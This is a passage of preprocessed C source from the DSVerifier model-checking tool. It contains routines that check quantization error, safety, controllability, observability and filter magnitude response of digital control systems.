for(i=0; i<nOutputs;i++){
for(j=0; j<nInputs;j++){
if(_controller_double.D[i][j] != 0){
flag = 1;
}
}
}
for(i=0; i<nInputs;i++){
for(j=0; j<1;j++){
reference_aux[i][j]= reference;
}
}
for(i=0; i<4;i++){
for(j=0; j<4;j++){
result1[i][j]=0;
result2[i][j]=0;
}
}
double_matrix_multiplication(nOutputs,nStates,nStates,1,_controller_double.K,_controller_double.states,result1);
double_sub_matrix(nInputs,1,reference_aux,result1, _controller_double.inputs);
double_matrix_multiplication(nOutputs,nStates,nStates,1,_controller_double.C,_controller_double.states,result1);
if(flag == 1)
double_matrix_multiplication(nOutputs,nInputs,nInputs,1,_controller_double.D,_controller_double.inputs,result2);
double_add_matrix(nOutputs,1,result1,result2,_controller_double.outputs);
double_matrix_multiplication(nStates,nStates,nStates,1,_controller_double.A,_controller_double.states,result1);
double_matrix_multiplication(nStates,nInputs,nInputs,1,_controller_double.B,_controller_double.inputs,result2);
double_add_matrix(nStates,1,result1,result2,_controller_double.states);
return _controller_double.outputs[0][0];
}
int verify_error_state_space(void){
int i,j;
for(i=0; i<nStates;i++){
for(j=0; j<1;j++){
new_state[i][j]= (_controller.states[i][j]);
}
}
for(i=0; i<nStates;i++){
for(j=0; j<1;j++){
new_stateFWL[i][j]= (_controller.states[i][j]);
}
}
_controller_fxp = _controller;
_controller_double = _controller;
overflow_mode = 0;
fxp_t x[0];
fxp_t min_fxp = fxp_double_to_fxp(impl.min);
fxp_t max_fxp = fxp_double_to_fxp(impl.max);
double nondet_constant_input = nondet_double();
__DSVERIFIER_assume(nondet_constant_input >= min_fxp && nondet_constant_input <= max_fxp);
for (i = 0; i < 0; ++i) {
x[i] = nondet_constant_input;
}
double __quant_error;
if(closed_loop){
for (i = 0; i < 0; ++i) {
__quant_error = ss_closed_loop_quantization_error(x[i]) - fxp_ss_closed_loop_quantization_error(x[i]);
# 354 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/engine/verify_error_state_space.h" 3 4
((void) sizeof ((
# 354 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/engine/verify_error_state_space.h"
__quant_error < error_limit && __quant_error > ((-1)*error_limit)
# 354 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/engine/verify_error_state_space.h" 3 4
) ? 1 : 0), __extension__ ({ if (
# 354 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/engine/verify_error_state_space.h"
__quant_error < error_limit && __quant_error > ((-1)*error_limit)
# 354 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/engine/verify_error_state_space.h" 3 4
) ; else __assert_fail (
# 354 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/engine/verify_error_state_space.h"
"__quant_error < error_limit && __quant_error > ((-1)*error_limit)"
# 354 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/engine/verify_error_state_space.h" 3 4
, "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/engine/verify_error_state_space.h", 354, __extension__ __PRETTY_FUNCTION__); }))
# 354 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/engine/verify_error_state_space.h"
;
}
}
else {
for (i=0; i < 0; i++)
{
__quant_error = ss_system_quantization_error(x[i]);
# 361 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/engine/verify_error_state_space.h" 3 4
((void) sizeof ((
# 361 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/engine/verify_error_state_space.h"
__quant_error < error_limit && __quant_error > ((-1)*error_limit)
# 361 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/engine/verify_error_state_space.h" 3 4
) ? 1 : 0), __extension__ ({ if (
# 361 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/engine/verify_error_state_space.h"
__quant_error < error_limit && __quant_error > ((-1)*error_limit)
# 361 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/engine/verify_error_state_space.h" 3 4
) ; else __assert_fail (
# 361 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/engine/verify_error_state_space.h"
"__quant_error < error_limit && __quant_error > ((-1)*error_limit)"
# 361 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/engine/verify_error_state_space.h" 3 4
, "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/engine/verify_error_state_space.h", 361, __extension__ __PRETTY_FUNCTION__); }))
# 361 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/engine/verify_error_state_space.h"
;
}
}
return 0;
}
# 44 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/dsverifier.h" 2
# 1 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/engine/verify_safety_state_space.h" 1
# 17 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/engine/verify_safety_state_space.h"
extern digital_system_state_space _controller;
extern double error_limit;
extern int closed_loop;
double fxp_ss_closed_loop_safety(){
double reference[4][4];
double result1[4][4];
double result2[4][4];
fxp_t K_fpx[4][4];
fxp_t outputs_fpx[4][4];
fxp_t result_fxp[4][4];
unsigned int i;
unsigned int j;
unsigned int k;
short unsigned int flag = 0;
for(i=0; i<nOutputs;i++){
for(j=0; j<nInputs;j++){
if(_controller.D[i][j] != 0){
flag = 1;
}
}
}
for(i=0; i<nInputs;i++){
for(j=0; j<1;j++){
reference[i][j]= (_controller.inputs[i][j]);
}
}
for(i=0; i<nInputs;i++){
for(j=0; j<nOutputs;j++){
K_fpx[i][j]=0;
}
}
for(i=0; i<nOutputs;i++){
for(j=0; j<1;j++){
outputs_fpx[i][j]=0;
}
}
for(i=0; i<4;i++){
for(j=0; j<4;j++){
result_fxp[i][j]=0;
}
}
for(i=0; i<nInputs;i++){
for(j=0; j<nOutputs;j++){
K_fpx[i][j]= fxp_double_to_fxp(_controller.K[i][j]);
}
}
for(i=0; i<4;i++){
for(j=0; j<4;j++){
result1[i][j]=0;
result2[i][j]=0;
}
}
for (i = 1; i < 0; i++) {
double_matrix_multiplication(nOutputs,nStates,nStates,1,_controller.C,_controller.states,result1);
if(flag == 1){
double_matrix_multiplication(nOutputs,nInputs,nInputs,1,_controller.D,_controller.inputs,result2);
}
double_add_matrix(nOutputs,
1,
result1,
result2,
_controller.outputs);
for(k=0; k<nOutputs;k++){
for(j=0; j<1;j++){
outputs_fpx[k][j]= fxp_double_to_fxp(_controller.outputs[k][j]);
}
}
fxp_matrix_multiplication(nInputs,nOutputs,nOutputs,1,K_fpx,outputs_fpx,result_fxp);
for(k=0; k<nInputs;k++){
for(j=0; j<1;j++){
result1[k][j]= fxp_to_double(result_fxp[k][j]);
}
}
printf("### fxp: U (before) = %.9f", _controller.inputs[0][0]);
printf("### fxp: reference = %.9f", reference[0][0]);
printf("### fxp: result1 = %.9f", result1[0][0]);
printf("### fxp: reference - result1 = %.9f", (reference[0][0] - result1[0][0]));
double_sub_matrix(nInputs,
1,
reference,
result1,
_controller.inputs);
printf("### fxp: Y = %.9f", _controller.outputs[0][0]);
printf("### fxp: U (after) = %.9f \n### \n### ", _controller.inputs[0][0]);
double_matrix_multiplication(nStates,nStates,nStates,1,_controller.A,_controller.states,result1);
double_matrix_multiplication(nStates,nInputs,nInputs,1,_controller.B,_controller.inputs,result2);
double_add_matrix(nStates,
1,
result1,
result2,
_controller.states);
}
return _controller.outputs[0][0];
}
int verify_safety_state_space(void){
fxp_t output_fxp = fxp_ss_closed_loop_safety();
double output_double = fxp_to_double(output_fxp);
# 140 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/engine/verify_safety_state_space.h" 3 4
((void) sizeof ((
# 140 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/engine/verify_safety_state_space.h"
output_double <= error_limit
# 140 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/engine/verify_safety_state_space.h" 3 4
) ? 1 : 0), __extension__ ({ if (
# 140 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/engine/verify_safety_state_space.h"
output_double <= error_limit
# 140 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/engine/verify_safety_state_space.h" 3 4
) ; else __assert_fail (
# 140 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/engine/verify_safety_state_space.h"
"output_double <= error_limit"
# 140 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/engine/verify_safety_state_space.h" 3 4
, "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/engine/verify_safety_state_space.h", 140, __extension__ __PRETTY_FUNCTION__); }))
# 140 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/engine/verify_safety_state_space.h"
;
return 0;
}
# 45 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/dsverifier.h" 2
# 1 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/engine/verify_controllability.h" 1
# 14 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/engine/verify_controllability.h"
extern digital_system_state_space _controller;
int verify_controllability(void){
int i;
int j;
fxp_t A_fpx[4][4];
fxp_t B_fpx[4][4];
fxp_t controllabilityMatrix[4][4];
fxp_t backup[4][4];
fxp_t backupSecond[4][4];
double controllabilityMatrix_double[4][4];
for(i=0; i<nStates;i++){
for(j=0; j<(nStates*nInputs);j++){
A_fpx[i][j] = 0.0;
B_fpx[i][j] = 0.0;
controllabilityMatrix[i][j] = 0.0;
backup[i][j] = 0.0;
backupSecond[i][j] = 0.0;
controllabilityMatrix_double[i][j] = 0.0;
}
}
for(i=0; i<nStates;i++){
for(j=0; j<nStates;j++){
A_fpx[i][j]= fxp_double_to_fxp(_controller.A[i][j]);
}
}
for(i=0; i<nStates;i++){
for(j=0; j<nInputs;j++){
B_fpx[i][j]= fxp_double_to_fxp(_controller.B[i][j]);
}
}
if(nInputs > 1){
int l = 0;
for(j=0; j<(nStates*nInputs);){
fxp_exp_matrix(nStates,nStates,A_fpx,l,backup);
l++;
fxp_matrix_multiplication(nStates,nStates,nStates,nInputs,backup,B_fpx,backupSecond);
for(int k = 0; k < nInputs; k++){
for(i = 0; i<nStates;i++){
controllabilityMatrix[i][j]= backupSecond[i][k];
}
j++;
}
}
for(i=0; i<nStates;i++){
for(j=0; j<(nStates*nInputs);j++){
backup[i][j]= 0.0;
}
}
fxp_transpose(controllabilityMatrix,backup,nStates,(nStates*nInputs));
fxp_t mimo_controllabilityMatrix_fxp[4][4];
fxp_matrix_multiplication(nStates,(nStates*nInputs),(nStates*nInputs),nStates,controllabilityMatrix,backup,mimo_controllabilityMatrix_fxp);
for(i=0; i<nStates;i++){
for(j=0; j<nStates;j++){
controllabilityMatrix_double[i][j]= fxp_to_double(mimo_controllabilityMatrix_fxp[i][j]);
}
}
# 91 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/engine/verify_controllability.h" 3 4
((void) sizeof ((
# 91 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/engine/verify_controllability.h"
determinant(controllabilityMatrix_double,nStates) != 0
# 91 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/engine/verify_controllability.h" 3 4
) ? 1 : 0), __extension__ ({ if (
# 91 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/engine/verify_controllability.h"
determinant(controllabilityMatrix_double,nStates) != 0
# 91 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/engine/verify_controllability.h" 3 4
) ; else __assert_fail (
# 91 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/engine/verify_controllability.h"
"determinant(controllabilityMatrix_double,nStates) != 0"
# 91 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/engine/verify_controllability.h" 3 4
, "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/engine/verify_controllability.h", 91, __extension__ __PRETTY_FUNCTION__); }))
# 91 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/engine/verify_controllability.h"
;
} else {
for(j=0; j<nStates;j++){
fxp_exp_matrix(nStates,nStates,A_fpx,j,backup);
fxp_matrix_multiplication(nStates,nStates,nStates,nInputs,backup,B_fpx,backupSecond);
for(i = 0; i<nStates;i++){
controllabilityMatrix[i][j]= backupSecond[i][0];
}
}
for(i=0; i<nStates;i++){
for(j=0; j<nStates;j++){
controllabilityMatrix_double[i][j]= fxp_to_double(controllabilityMatrix[i][j]);
}
}
# 113 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/engine/verify_controllability.h" 3 4
((void) sizeof ((
# 113 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/engine/verify_controllability.h"
determinant(controllabilityMatrix_double,nStates) != 0
# 113 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/engine/verify_controllability.h" 3 4
) ? 1 : 0), __extension__ ({ if (
# 113 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/engine/verify_controllability.h"
determinant(controllabilityMatrix_double,nStates) != 0
# 113 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/engine/verify_controllability.h" 3 4
) ; else __assert_fail (
# 113 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/engine/verify_controllability.h"
"determinant(controllabilityMatrix_double,nStates) != 0"
# 113 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/engine/verify_controllability.h" 3 4
, "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/engine/verify_controllability.h", 113, __extension__ __PRETTY_FUNCTION__); }))
# 113 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/engine/verify_controllability.h"
;
}
return 0;
}
int verify_controllability_double(void){
int i;
int j;
double controllabilityMatrix[4][4];
double backup[4][4];
double backupSecond[4][4];
double controllabilityMatrix_double[4][4];
if(nInputs > 1){
int l = 0;
for(j=0; j<(nStates*nInputs);){
double_exp_matrix(nStates,nStates,_controller.A,l,backup);
l++;
double_matrix_multiplication(nStates,nStates,nStates,nInputs,backup,_controller.B,backupSecond);
for(int k = 0; k < nInputs; k++){
for(i = 0; i<nStates;i++){
controllabilityMatrix[i][j]= backupSecond[i][k];
}
j++;
}
}
for(i=0; i<nStates;i++){
for(j=0; j<(nStates*nInputs);j++){
backup[i][j]= 0.0;
}
}
transpose(controllabilityMatrix,backup,nStates,(nStates*nInputs));
double mimo_controllabilityMatrix_double[4][4];
double_matrix_multiplication(nStates,(nStates*nInputs),(nStates*nInputs),nStates,controllabilityMatrix,backup,mimo_controllabilityMatrix_double);
# 154 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/engine/verify_controllability.h" 3 4
((void) sizeof ((
# 154 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/engine/verify_controllability.h"
determinant(mimo_controllabilityMatrix_double,nStates) != 0
# 154 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/engine/verify_controllability.h" 3 4
) ? 1 : 0), __extension__ ({ if (
# 154 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/engine/verify_controllability.h"
determinant(mimo_controllabilityMatrix_double,nStates) != 0
# 154 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/engine/verify_controllability.h" 3 4
) ; else __assert_fail (
# 154 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/engine/verify_controllability.h"
"determinant(mimo_controllabilityMatrix_double,nStates) != 0"
# 154 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/engine/verify_controllability.h" 3 4
, "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/engine/verify_controllability.h", 154, __extension__ __PRETTY_FUNCTION__); }))
# 154 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/engine/verify_controllability.h"
;
} else {
for(j=0; j<nStates;j++){
double_exp_matrix(nStates,nStates,_controller.A,j,backup);
double_matrix_multiplication(nStates,nStates,nStates,nInputs,backup,_controller.B,backupSecond);
for(i = 0; i<nStates;i++){
controllabilityMatrix[i][j]= backupSecond[i][0];
}
}
# 163 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/engine/verify_controllability.h" 3 4
((void) sizeof ((
# 163 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/engine/verify_controllability.h"
determinant(controllabilityMatrix,nStates) != 0
# 163 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/engine/verify_controllability.h" 3 4
) ? 1 : 0), __extension__ ({ if (
# 163 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/engine/verify_controllability.h"
determinant(controllabilityMatrix,nStates) != 0
# 163 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/engine/verify_controllability.h" 3 4
) ; else __assert_fail (
# 163 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/engine/verify_controllability.h"
"determinant(controllabilityMatrix,nStates) != 0"
# 163 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/engine/verify_controllability.h" 3 4
, "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/engine/verify_controllability.h", 163, __extension__ __PRETTY_FUNCTION__); }))
# 163 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/engine/verify_controllability.h"
;
}
return 0;
}
# 46 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/dsverifier.h" 2
# 1 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/engine/verify_observability.h" 1
# 17 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/engine/verify_observability.h"
extern digital_system_state_space _controller;
int verify_observability(void){
int i;
int j;
fxp_t A_fpx[4][4];
fxp_t C_fpx[4][4];
fxp_t observabilityMatrix[4][4];
fxp_t backup[4][4];
fxp_t backupSecond[4][4];
double observabilityMatrix_double[4][4];
for(i=0; i<nStates;i++){
for(j=0; j<nStates;j++){
observabilityMatrix[i][j]= 0;
A_fpx[i][j]=0;
C_fpx[i][j]= 0;
backup[i][j]= 0;
backupSecond[i][j]= 0;
}
}
for(i=0; i<nStates;i++){
for(j=0; j<nStates;j++){
A_fpx[i][j]= fxp_double_to_fxp(_controller.A[i][j]);
}
}
for(i=0; i<nOutputs;i++){
for(j=0; j<nStates;j++){
C_fpx[i][j]= fxp_double_to_fxp(_controller.C[i][j]);
}
}
if(nOutputs > 1){
int l;
j = 0;
for(l=0; l<nStates;){
fxp_exp_matrix(nStates,nStates,A_fpx,l,backup);
l++;
fxp_matrix_multiplication(nOutputs,nStates,nStates,nStates,C_fpx,backup,backupSecond);
for(int k = 0; k < nOutputs; k++){
for(i = 0; i<nStates;i++){
observabilityMatrix[j][i]= backupSecond[k][i];
}
j++;
}
}
# 80 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/engine/verify_observability.h"
for(i=0; i<nStates;i++){
for(j=0; j<(nStates*nOutputs);j++){
backup[i][j]= 0.0;
}
}
fxp_transpose(observabilityMatrix,backup,(nStates*nOutputs),nStates);
# 99 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/engine/verify_observability.h"
fxp_t mimo_observabilityMatrix_fxp[4][4];
fxp_matrix_multiplication(nStates,(nStates*nOutputs),(nStates*nOutputs),nStates,backup,observabilityMatrix,mimo_observabilityMatrix_fxp);
# 112 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/engine/verify_observability.h"
for(i=0; i<nStates;i++){
for(j=0; j<nStates;j++){
observabilityMatrix_double[i][j]= fxp_to_double(mimo_observabilityMatrix_fxp[i][j]);
}
}
# 119 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/engine/verify_observability.h" 3 4
((void) sizeof ((
# 119 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/engine/verify_observability.h"
determinant(observabilityMatrix_double,nStates) != 0
# 119 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/engine/verify_observability.h" 3 4
) ? 1 : 0), __extension__ ({ if (
# 119 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/engine/verify_observability.h"
determinant(observabilityMatrix_double,nStates) != 0
# 119 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/engine/verify_observability.h" 3 4
) ; else __assert_fail (
# 119 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/engine/verify_observability.h"
"determinant(observabilityMatrix_double,nStates) != 0"
# 119 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/engine/verify_observability.h" 3 4
, "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/engine/verify_observability.h", 119, __extension__ __PRETTY_FUNCTION__); }))
# 119 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/engine/verify_observability.h"
;
}else{
for(i=0; i<nStates;i++){
fxp_exp_matrix(nStates,nStates,A_fpx,i,backup);
fxp_matrix_multiplication(nOutputs,nStates,nStates,nStates,C_fpx,backup,backupSecond);
for(j = 0; j<nStates;j++){
observabilityMatrix[i][j]= backupSecond[0][j];
}
}
for(i=0; i<nStates;i++){
for(j=0; j<nStates;j++){
observabilityMatrix_double[i][j]= fxp_to_double(observabilityMatrix[i][j]);
}
}
# 134 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/engine/verify_observability.h" 3 4
((void) sizeof ((
# 134 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/engine/verify_observability.h"
determinant(observabilityMatrix_double,nStates) != 0
# 134 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/engine/verify_observability.h" 3 4
) ? 1 : 0), __extension__ ({ if (
# 134 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/engine/verify_observability.h"
determinant(observabilityMatrix_double,nStates) != 0
# 134 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/engine/verify_observability.h" 3 4
) ; else __assert_fail (
# 134 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/engine/verify_observability.h"
"determinant(observabilityMatrix_double,nStates) != 0"
# 134 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/engine/verify_observability.h" 3 4
, "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/engine/verify_observability.h", 134, __extension__ __PRETTY_FUNCTION__); }))
# 134 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/engine/verify_observability.h"
;
}
return 0;
}
# 47 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/dsverifier.h" 2
# 1 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/engine/verify_magnitude.h" 1
# 16 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/engine/verify_magnitude.h"
extern filter_parameters filter;
extern implementation impl;
extern digital_system ds;
# 28 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/engine/verify_magnitude.h"
void resp_mag(double* num, int lnum, double* den, int lden, double* res, int N) {
double w;
int m, i;
double out_numRe[N + 1];
double out_numIm[N + 1];
double out_denRe[N + 1];
double out_denIm[N + 1];
double old_out_Re;
double zero_test;
for (w = 0, i = 0; w <= 3.14159265358979323846; w += 3.14159265358979323846 / N, ++i) {
out_numRe[i] = num[0];
out_numIm[i] = 0;
for (m = 1; m < lnum; ++m) {
old_out_Re = out_numRe[i];
out_numRe[i] = cosTyl(w, 6) * out_numRe[i] - sinTyl(w, 6) * out_numIm[i] + num[m];
out_numIm[i] = sinTyl(w, 6) * old_out_Re + cosTyl(w, 6) * out_numIm[i];
}
out_denRe[i] = den[0];
out_denIm[i] = 0;
for (m = 1; m < lden; ++m) {
old_out_Re = out_denRe[i];
out_denRe[i] = cosTyl(w, 6) * out_denRe[i] - sinTyl(w, 6) * out_denIm[i] + den[m];
out_denIm[i] = sinTyl(w, 6) * old_out_Re + cosTyl(w, 6) * out_denIm[i];
}
res[i] = sqrt3(out_numRe[i] * out_numRe[i] + out_numIm[i] * out_numIm[i]);
zero_test = sqrt3(out_denRe[i] * out_denRe[i] + out_denIm[i] * out_denIm[i]);
__DSVERIFIER_assume(zero_test != 0);
res[i] = res[i] / zero_test;
}
}
int verify_magnitude(void) {
int freq_response_samples = 100;
double w;
double w_incr = 1.0 / freq_response_samples;
double res[freq_response_samples+1];
int i,j;
fxp_t a_fxp[ds.a_size];
fxp_double_to_fxp_array(ds.a, a_fxp, ds.a_size);
double _a[ds.a_size];
fxp_to_double_array(_a, a_fxp, ds.a_size);
fxp_t b_fxp[ds.b_size];
fxp_double_to_fxp_array(ds.b, b_fxp, ds.b_size);
double _b[ds.b_size];
fxp_to_double_array(_b, b_fxp, ds.b_size);
resp_mag(ds.b, ds.b_size, ds.a, ds.a_size, res, freq_response_samples);
if (filter.type == 1) {
for (i = 0, w = 0; (w <= 1.0); ++i, w += w_incr) {
if (w <= filter.wp) {
__DSVERIFIER_assert_msg(res[i] >= filter.Ap, "|----------------Passband Failure-------------|");
} else if (w == filter.wc) {
__DSVERIFIER_assert_msg(res[i] <= filter.Ac, "|-------------Cutoff Frequency Failure--------|");
} else if ((w >= filter.wr) && (w <= 1)) {
__DSVERIFIER_assert_msg(res[i] <= filter.Ar, "|----------------Stopband Failure-------------|");
}
}
} else if (filter.type == 2) {
for (i = 0, w = 0; (w <= 1.0); ++i, w += w_incr) {
if (w <= filter.wr) {
__DSVERIFIER_assert_msg(res[i] <= filter.Ar, "|----------------Stopband Failure-------------|");
} else if (w == filter.wc) {
__DSVERIFIER_assert_msg(res[i] <= filter.Ac, "|-------------Cutoff Frequency Failure--------|");
} else if ((w > filter.wp) && (w <= 1)) {
__DSVERIFIER_assert_msg(res[i] >= filter.Ap, "|----------------Passband Failure-------------|");
}
}
} else {
__DSVERIFIER_assert(0);
}
return 0;
}
# 48 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/dsverifier.h" 2
extern digital_system ds;
extern digital_system plant;
digital_system plant_cbmc;
extern digital_system controller;
extern implementation impl;
extern hardware hw;
extern digital_system_state_space _controller;
extern filter_parameters filter;
unsigned int nondet_uint();
extern void initials();
void validation();
void call_verification_task(void * verification_task);
void call_closedloop_verification_task(void * closedloop_verification_task);
float nondet_float();
double nondet_double();
int main(){
initialization();
validation();
if (1 == 0)
rounding_mode = 0;
else if (1 == 1)
rounding_mode = 1;
else if (1 == 2)
rounding_mode = 2;
